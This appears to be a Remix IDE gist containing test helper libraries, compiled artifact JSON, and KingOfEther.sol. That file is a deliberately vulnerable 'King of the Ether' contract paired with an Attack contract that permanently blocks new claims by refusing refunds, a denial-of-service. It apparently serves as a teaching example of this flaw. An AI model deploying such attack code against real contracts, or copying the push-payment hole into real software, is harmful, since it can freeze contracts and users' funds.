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vyorkin/.deps...remix-tests...remix_accounts.sol

Created March 9, 2022 10:20
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Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.12+commit.f00d7308.js&optimize=false&runs=200&gist=
Raw
.deps...remix-tests...remix_accounts.sol
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.4.22 <0.9.0;
library TestsAccounts {
function getAccount(uint index) pure public returns (address) {
address[15] memory accounts;
accounts[0] = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4;
accounts[1] = 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2;
accounts[2] = 0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db;
accounts[3] = 0x78731D3Ca6b7E34aC0F824c42a7cC18A495cabaB;
accounts[4] = 0x617F2E2fD72FD9D5503197092aC168c91465E7f2;
accounts[5] = 0x17F6AD8Ef982297579C203069C1DbfFE4348c372;
accounts[6] = 0x5c6B0f7Bf3E7ce046039Bd8FABdfD3f9F5021678;
accounts[7] = 0x03C6FcED478cBbC9a4FAB34eF9f40767739D1Ff7;
accounts[8] = 0x1aE0EA34a72D944a8C7603FfB3eC30a6669E454C;
accounts[9] = 0x0A098Eda01Ce92ff4A4CCb7A4fFFb5A43EBC70DC;
accounts[10] = 0xCA35b7d915458EF540aDe6068dFe2F44E8fa733c;
accounts[11] = 0x14723A09ACff6D2A60DcdF7aA4AFf308FDDC160C;
accounts[12] = 0x4B0897b0513fdC7C541B6d9D7E929C4e5364D2dB;
accounts[13] = 0x583031D1113aD414F02576BD6afaBfb302140225;
accounts[14] = 0xdD870fA1b7C4700F2BD7f44238821C26f7392148;
return accounts[index];
}
}
Raw
.deps...remix-tests...remix_tests.sol
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.4.22 <0.9.0;
library Assert {
event AssertionEvent(
bool passed,
string message,
string methodName
);
event AssertionEventUint(
bool passed,
string message,
string methodName,
uint256 returned,
uint256 expected
);
event AssertionEventInt(
bool passed,
string message,
string methodName,
int256 returned,
int256 expected
);
event AssertionEventBool(
bool passed,
string message,
string methodName,
bool returned,
bool expected
);
event AssertionEventAddress(
bool passed,
string message,
string methodName,
address returned,
address expected
);
event AssertionEventBytes32(
bool passed,
string message,
string methodName,
bytes32 returned,
bytes32 expected
);
event AssertionEventString(
bool passed,
string message,
string methodName,
string returned,
string expected
);
event AssertionEventUintInt(
bool passed,
string message,
string methodName,
uint256 returned,
int256 expected
);
event AssertionEventIntUint(
bool passed,
string message,
string methodName,
int256 returned,
uint256 expected
);
function ok(bool a, string memory message) public returns (bool result) {
result = a;
emit AssertionEvent(result, message, "ok");
}
function equal(uint256 a, uint256 b, string memory message) public returns (bool result) {
result = (a == b);
emit AssertionEventUint(result, message, "equal", a, b);
}
function equal(int256 a, int256 b, string memory message) public returns (bool result) {
result = (a == b);
emit AssertionEventInt(result, message, "equal", a, b);
}
function equal(bool a, bool b, string memory message) public returns (bool result) {
result = (a == b);
emit AssertionEventBool(result, message, "equal", a, b);
}
// TODO: only for certain versions of solc
//function equal(fixed a, fixed b, string message) public returns (bool result) {
// result = (a == b);
// emit AssertionEvent(result, message);
//}
// TODO: only for certain versions of solc
//function equal(ufixed a, ufixed b, string message) public returns (bool result) {
// result = (a == b);
// emit AssertionEvent(result, message);
//}
function equal(address a, address b, string memory message) public returns (bool result) {
result = (a == b);
emit AssertionEventAddress(result, message, "equal", a, b);
}
function equal(bytes32 a, bytes32 b, string memory message) public returns (bool result) {
result = (a == b);
emit AssertionEventBytes32(result, message, "equal", a, b);
}
function equal(string memory a, string memory b, string memory message) public returns (bool result) {
result = (keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b)));
emit AssertionEventString(result, message, "equal", a, b);
}
function notEqual(uint256 a, uint256 b, string memory message) public returns (bool result) {
result = (a != b);
emit AssertionEventUint(result, message, "notEqual", a, b);
}
function notEqual(int256 a, int256 b, string memory message) public returns (bool result) {
result = (a != b);
emit AssertionEventInt(result, message, "notEqual", a, b);
}
function notEqual(bool a, bool b, string memory message) public returns (bool result) {
result = (a != b);
emit AssertionEventBool(result, message, "notEqual", a, b);
}
// TODO: only for certain versions of solc
//function notEqual(fixed a, fixed b, string message) public returns (bool result) {
// result = (a != b);
// emit AssertionEvent(result, message);
//}
// TODO: only for certain versions of solc
//function notEqual(ufixed a, ufixed b, string message) public returns (bool result) {
// result = (a != b);
// emit AssertionEvent(result, message);
//}
function notEqual(address a, address b, string memory message) public returns (bool result) {
result = (a != b);
emit AssertionEventAddress(result, message, "notEqual", a, b);
}
function notEqual(bytes32 a, bytes32 b, string memory message) public returns (bool result) {
result = (a != b);
emit AssertionEventBytes32(result, message, "notEqual", a, b);
}
function notEqual(string memory a, string memory b, string memory message) public returns (bool result) {
result = (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b)));
emit AssertionEventString(result, message, "notEqual", a, b);
}
/*----------------- Greater than --------------------*/
function greaterThan(uint256 a, uint256 b, string memory message) public returns (bool result) {
result = (a > b);
emit AssertionEventUint(result, message, "greaterThan", a, b);
}
function greaterThan(int256 a, int256 b, string memory message) public returns (bool result) {
result = (a > b);
emit AssertionEventInt(result, message, "greaterThan", a, b);
}
// TODO: safely compare between uint and int
function greaterThan(uint256 a, int256 b, string memory message) public returns (bool result) {
if(b < int(0)) {
// int is negative uint "a" always greater
result = true;
} else {
result = (a > uint(b));
}
emit AssertionEventUintInt(result, message, "greaterThan", a, b);
}
function greaterThan(int256 a, uint256 b, string memory message) public returns (bool result) {
if(a < int(0)) {
// int is negative uint "b" always greater
result = false;
} else {
result = (uint(a) > b);
}
emit AssertionEventIntUint(result, message, "greaterThan", a, b);
}
/*----------------- Lesser than --------------------*/
function lesserThan(uint256 a, uint256 b, string memory message) public returns (bool result) {
result = (a < b);
emit AssertionEventUint(result, message, "lesserThan", a, b);
}
function lesserThan(int256 a, int256 b, string memory message) public returns (bool result) {
result = (a < b);
emit AssertionEventInt(result, message, "lesserThan", a, b);
}
// TODO: safely compare between uint and int
function lesserThan(uint256 a, int256 b, string memory message) public returns (bool result) {
if(b < int(0)) {
// int is negative int "b" always lesser
result = false;
} else {
result = (a < uint(b));
}
emit AssertionEventUintInt(result, message, "lesserThan", a, b);
}
function lesserThan(int256 a, uint256 b, string memory message) public returns (bool result) {
if(a < int(0)) {
// int is negative int "a" always lesser
result = true;
} else {
result = (uint(a) < b);
}
emit AssertionEventIntUint(result, message, "lesserThan", a, b);
}
}
Raw
contracts...artifacts...Attack.json
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
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},
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},
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},
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"parameterSlots": 0,
"returnSlots": 1
},
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"id": null,
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"returnSlots": 1
},
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},
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},
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"id": null,
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},
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},
"validator_revert_t_contract$_KingOfEther_$42": {
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"id": null,
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"returnSlots": 0
}
},
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"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "1315:92:1",
"value": {
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{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1379:9:1"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "1390:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1375:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1375:22:1"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "1399:7:1"
}
],
"functionName": {
"name": "abi_decode_t_contract$_KingOfEther_$42_fromMemory",
"nodeType": "YulIdentifier",
"src": "1325:49:1"
},
"nodeType": "YulFunctionCall",
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{
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]
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}
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},
"name": "abi_decode_tuple_t_contract$_KingOfEther_$42_fromMemory",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "1102:9:1",
"type": ""
},
{
"name": "dataEnd",
"nodeType": "YulTypedName",
"src": "1113:7:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "1125:6:1",
"type": ""
}
],
"src": "1037:387:1"
}
]
},
"contents": "{\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function cleanup_t_address(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function cleanup_t_contract$_KingOfEther_$42(value) -> cleaned {\n cleaned := cleanup_t_address(value)\n }\n\n function validator_revert_t_contract$_KingOfEther_$42(value) {\n if iszero(eq(value, cleanup_t_contract$_KingOfEther_$42(value))) { revert(0, 0) }\n }\n\n function abi_decode_t_contract$_KingOfEther_$42_fromMemory(offset, end) -> value {\n value := mload(offset)\n validator_revert_t_contract$_KingOfEther_$42(value)\n }\n\n function abi_decode_tuple_t_contract$_KingOfEther_$42_fromMemory(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_contract$_KingOfEther_$42_fromMemory(add(headStart, offset), dataEnd)\n }\n\n }\n\n}\n",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
],
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"id": 70,
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}
},
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},
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{
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"name": "_kingOfEther",
"type": "address"
}
],
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{
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Raw
contracts...artifacts...Attack_metadata.json
{
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},
"language": "Solidity",
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{
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{
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"name": "_kingOfEther",
"type": "address"
}
],
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"type": "constructor"
},
{
"inputs": [],
"name": "attack",
"outputs": [],
"stateMutability": "payable",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
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"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/KingOfEther.sol": "Attack"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
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"keccak256": "0x63034ce1c9b0cc53f86969c7940ebc52b24052d560f1de2d0d50817a007ea9ad",
"license": "MIT",
"urls": [
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"dweb:/ipfs/QmTo51YaBCpCY5WrFsBD9LUPXrtttaRpcJUwRSvz5Gz73H"
]
}
},
"version": 1
}
Raw
contracts...artifacts...KingOfEther.json
{
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"rinkeby:4": {
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"kovan:42": {
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"görli:5": {
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},
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Raw
contracts...artifacts...KingOfEther_metadata.json
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Raw
contracts...artifacts...Storage.json
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"language": "Yul",
"name": "#utility.yul"
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]
}
Raw
contracts...artifacts...Storage_metadata.json
{
"compiler": {
"version": "0.8.12+commit.f00d7308"
},
"language": "Solidity",
"output": {
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"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [
{
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"name": "num",
"type": "uint256"
}
],
"name": "store",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
],
"devdoc": {
"details": "Store & retrieve value in a variable",
"kind": "dev",
"methods": {
"retrieve()": {
"details": "Return value ",
"returns": {
"_0": "value of 'number'"
}
},
"store(uint256)": {
"details": "Store value in variable",
"params": {
"num": "value to store"
}
}
},
"title": "Storage",
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/1_Storage.sol": "Storage"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
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"license": "GPL-3.0",
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]
}
},
"version": 1
}
Raw
contracts...KingOfEther.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
contract KingOfEther {
address public king;
uint public balance;
function claimThrone() external payable {
require(msg.value > balance, "Need to pay more to become the king");
(bool sent, ) = king.call{value: balance}("");
require(sent, "Failed to send Ether");
balance = msg.value;
king = msg.sender;
}
}
// Doesn't have "receive" or "fallback" - can not receive ether
contract Attack {
KingOfEther kingOfEther;
constructor(KingOfEther _kingOfEther) {
kingOfEther = KingOfEther(_kingOfEther);
}
// You can also perform a DOS by consuming all gas using assert.
// This attack will work even if the calling contract does not check
// whether the call was successful or not.
//
// function () external payable {
// assert(false);
// }
function attack() public payable {
kingOfEther.claimThrone{value: msg.value}();
}
}
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